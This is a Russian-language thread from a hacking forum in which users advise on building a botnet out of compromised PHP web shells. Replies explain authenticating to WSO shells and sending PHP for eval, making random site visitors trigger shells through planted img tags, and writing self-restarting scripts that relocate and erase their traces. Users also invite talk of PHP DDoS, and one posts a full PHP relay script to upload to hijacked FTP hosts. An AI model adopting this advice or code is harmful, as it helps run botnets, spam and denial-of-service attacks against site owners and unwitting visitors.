• XSS.stack #1 – первый литературный журнал от юзеров форума

Помогите разобраться как лучше написать

rezvey

floppy-диск
Пользователь
Регистрация
05.07.2012
Сообщения
5
Реакции
2
Здравствуйте уважаемые мемберы! В общем пишу что-то типо ботнета на шелах, но не могу придумать хороший вариант алгоритма распределения заданий между шелами с админки! Мне нужно, чтобы с админки посылалось задание на бота, бот выполнял задание, возвращал результат, и брал следующее, по одному заданию кидать, скорость упадет в разы, и будет падать с кол-вом ботов, посылать пачками, тут другие проблемы вырисовываются, например лимит выполнения скрипта, или ограничения на сервере(допустим запрещен курл)! Помогите составить хороший алгоритм, как такое лучше организовать, или подкинь статей\сорцов по данной теме, желательно на пхп, и если вы хорошо ориентируетесь в работе с шелами, подскажите, какие еще могут быть нюансы на то, что мой скрипт будет выполнятся не корректно! Заранее спасибо, всем те кто окажет хоть какую-то помощь!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Если на wso будешь делать - там нужна кука с md5 от пароля, для авторизации. После этого можно слать на шелл что угодно.
Это "что-угодно", обыкновенно означает "голый пхп-код для eval-а".
Результат его работы вернется в том, в котором его вернет тебе пхп.

Шелл это не бот, и сам он задания (без крона) проверять не сможет.
Это означает, что чтобы каждый шелл что-то делал, его нужно дернуть (и дергать каждый раз по надобности его работы)

Вариантов то в общем-то два
- дергать через js, из браузера
- дергать курлом\сокетами с сервера

И если у тебя 1к шелов, тебе придется дернуть каждый из них.

Процесс можно упростить, вытащив из каждого шелла наружу, на посещаемую страницу, img-тег с адресом шела.
Тогда "запускать на проверку задания" его будут случайные пользователи.

Чтобы шелл вернул более-менее форматированный ответ в случае ошибки, передаваемый ему код лучше оборачивать в try-блок.

Так же, считаю, что использовать шеллы оптом для чего-либо, кроме спама и проксей - затея бестолковая
 
Процесс можно упростить, вытащив из каждого шелла наружу, на посещаемую страницу, img-тег с адресом шела.
Тогда "запускать на проверку задания" его будут случайные пользователи.

Хорошая идея, спасибо! Вообще, там не всо шел будет а свой бот, пока думаю улучшить свой спамер на шелах(можете посмотреть на эксплоите), но алгоритм я так думаю будет одинаков так и для брута, так и для сканов чего либо, или парсенга!
 
>>другие проблемы вырисовываются, например лимит выполнения скрипта, или ограничения
Ебся неделю чтобы это обойти
Написал обход тайм лимита и памяти тоесть скрипты выполняются вечно в многопотке.
Но нужен fopen чтобы был рарешон но хосты где его нет по сути и не нужны.

Дам намек ( перезапускйтесь как только что то кончается и меняйте свой адрес)
Итого у меня вышел скрипт который постоянно в памяти и меняет свое место положение на диске. сам себя запускает (получаются форки) а уже эти форки запускают потоки
После выполнения нного количества потоков удаляет все свои следы пресутсутствия.
Я бы рад выложить сорцы но они в моем комерчиском продукте пресудствуют так что извиняйте.

Добавлено в [time]1360746136[/time]

Есть предложение обсудиьт релизации ddos на php
У кого есть хорошие реализации
У меня много вопрсов по этой теме
Стоит ли читать ответ наприме или просто писать запросы без конца итп
 
Забыл добавить при обходе лимита памяти ипользуй в коде перменные как можно кароче
не юзай функций которые жрут память
ТИПА ВОТ ЭТОЙ ЖЕСТИ eval(base64_encode
вообще base64 жрет память
вот пример как можно сократитть встроенные перменные.
$_SERVER = $S;
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Zer0
Забыл добавить при обходе лимита памяти ипользуй в коде перменные как можно кароче
не юзай функций которые жрут память
ТИПА ВОТ ЭТОЙ ЖЕСТИ eval(base64_encode
вообще base64 жрет память
вот пример как можно сократитть встроенные перменные.
$_SERVER = $S;
я боюсь, ты заблуждаешься.
Сам по себе eval, хоть и не быстр, но не настолько. Расход получается потому что у тебя внутри eval-а куча сетевых запросов, которые медленные. И все время ожидания ответа от сервера, ресурсы заняты.
А еще, наверняка, они в цикле, по 10-100шт. И переменные копируются, а не передаются по ссылке. И unset() для ненужных значений, в процессе работы скрипта ты не делаешь.
Вообще base64_encode\decode жрет не больше чем file_get_contents например.

За $_SERVER = $S; вообще надо лишать обеда на работе.
1) Ты плодишь копии одних и тех же значений (sic! именно отжирая ту самую память)
2) В интерпретированном байткоде разница минимальна (считай по ~10 байт на переменную)

я было подумал что пост - это стеб такой, однако, в пхп видимо действительно есть все условия для создания говнокода)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вот тут кое что обсуждалось по теме ддос на шеллах https://xss.pro/index.php?topic=20276
 
>>другие проблемы вырисовываются, например лимит выполнения скрипта, или ограничения
Ебся неделю чтобы это обойти
Написал обход тайм лимита и памяти тоесть скрипты выполняются вечно в многопотке.
Но нужен fopen чтобы был рарешон но хосты где его нет по сути и не нужны.

Дам намек ( перезапускйтесь как только что то кончается и меняйте свой адрес)
Итого у меня вышел скрипт который постоянно в памяти и меняет свое место положение на диске. сам себя запускает (получаются форки) а уже эти форки запускают потоки
После выполнения нного количества потоков удаляет все свои следы пресутсутствия.
Я бы рад выложить сорцы но они в моем комерчиском продукте пресудствуют так что извиняйте.

Добавлено в 12:02:16 (13.02.13)

Есть предложение обсудиьт релизации ddos на php
У кого есть хорошие реализации
У меня много вопрсов по этой теме
Стоит ли читать ответ наприме или просто писать запросы без конца итп

Спасибо за намек, идею понял, буду пробовать такой вариант!
 
Попробуй юзать как транзитные сервера (фтп просто чекаешь на параметры) и заливаешь скрипт, если я правильно понял зачем тебе это нужно

<?php

set_time_limit(0);
ini_set("memory_limit", "128M");

$gurl="_url_";
$ip = $_SERVER['REMOTE_ADDR'];
$domen = md5($_SERVER['HTTP_HOST']);
function decodeChankedResponse($in) {
    $out = '';
    while($in != '') {
        $lf_pos = strpos($in, "\012");
        if($lf_pos === false) {
            $out .= $in;
            break;
        }
        $chunk_hex = trim(substr($in, 0, $lf_pos));
        $sc_pos = strpos($chunk_hex, ';');
        if($sc_pos !== false)
            $chunk_hex = substr($chunk_hex, 0, $sc_pos);
        if($chunk_hex == '') {
            $out .= substr($in, 0, $lf_pos);
            $in = substr($in, $lf_pos + 1);
            continue;
        }
        $chunk_len = hexdec($chunk_hex);
        if($chunk_len) {
            $out .= substr($in, $lf_pos + 1, $chunk_len);
            $in = substr($in, $lf_pos + 2 + $chunk_len);
        } else {
            $in = '';
        }
    }
    return $out;
}
function sendGET($url,$data){
global $ip,$domen;
$path = parse_url($url);
$fp = fsockopen($path['host'], (isset($path['port']))?$path['port']:80, $errno, $errstr, 30);
if(!$fp){
    echo "$errstr ($errno)
\n";
}else{
    $out = "GET ".$path['path']."?".$data." HTTP/1.1\r\n";
    $out .= "Host: ".$path['host']."\r\n";
    $out .= "User-Agent: Server\r\n";
    $out .= "Accept-Language: en-us\r\n";
    $out .= "Accept-Charset: utf-8;q=0.7,*;q=0.7\r\n";
  $out .= "Cookie: ip=$ip;domen=$domen;\r\n"; 
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        $resp2=$resp2.fgets($fp, 8192);
    }
    fclose($fp);
  $resp2=explode("\r\n\r\n",$resp2);
  return decodeChankedResponse($resp2[1]);
  //return $resp2[1];
}
}
function sendPOST($url,$data){
global $ip,$domen;
$path = parse_url($url);
$fp = fsockopen($path['host'], (isset($path['port']))?$path['port']:80, $errno, $errstr, 30);
if(!$fp){
    echo "$errstr ($errno)
\n";
}else{
    $out = "POST ".$path['path']." HTTP/1.1\r\n";
    $out .= "Host: ".$path['host']."\r\n";
    $out .= "User-Agent: Server\r\n";
  $out .= "Accept: text/html\r\n";
    $out .= "Accept-Language: en-us\r\n";
    $out .= "Accept-Charset: utf-8;q=0.7,*;q=0.7\r\n";
  $out .= "Cookie: ip=$ip;domen=$domen;\r\n";   
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $out .= "Content-Length: ".strlen($data)."\r\n";
  $out .= "Connection: Close\r\n\r\n";
    $out .=$data;
    fwrite($fp, $out);
    while (!feof($fp)) {
        $resp2=$resp2.fgets($fp, 8192);
    }
    fclose($fp);
  $resp2=explode("\r\n\r\n",$resp2);
  if(preg_grep('/^Transfer-Encoding:\s+chunked\s*$/i', explode("\r\n",$resp2[0]))){
  return decodeChankedResponse($resp2[1]);
  }else{
  return $resp2[1];
  }
}
}
$rawpost = fopen('php://input','r');
while(!feof($rawpost)){
$postdata .= fread($rawpost,8192);
}
$resp=sendPOST($gurl,$postdata);
if($resp=="redir"){
header("Location: /");
}
echo $resp;
?>

Скрипт взят из зутика
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Left4Dead
Почему бы не юзать PHP просто для запуска нормальной программы, написанной на C
Но как эту нормальную программу поместить на сервер? Доступов с чисто РНР по любому можно больше достать, чем с Си/Perl.
Или можно на обычном шаред хостинге как то запускать нормальные проги, не имея рута?
 
Но как эту нормальную программу поместить на сервер? Доступов с чисто РНР по любому можно больше достать, чем с Си/Perl.
Или можно на обычном шаред хостинге как то запускать нормальные проги, не имея рута?

Можно конечно, а че ж нельзя? Есть конечно дебильные хостинги, которые это запрещают через disable_functions или safe_mod, но таких меньшинство, в процентах 90 случаев можно запуститься без всяких проблем.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх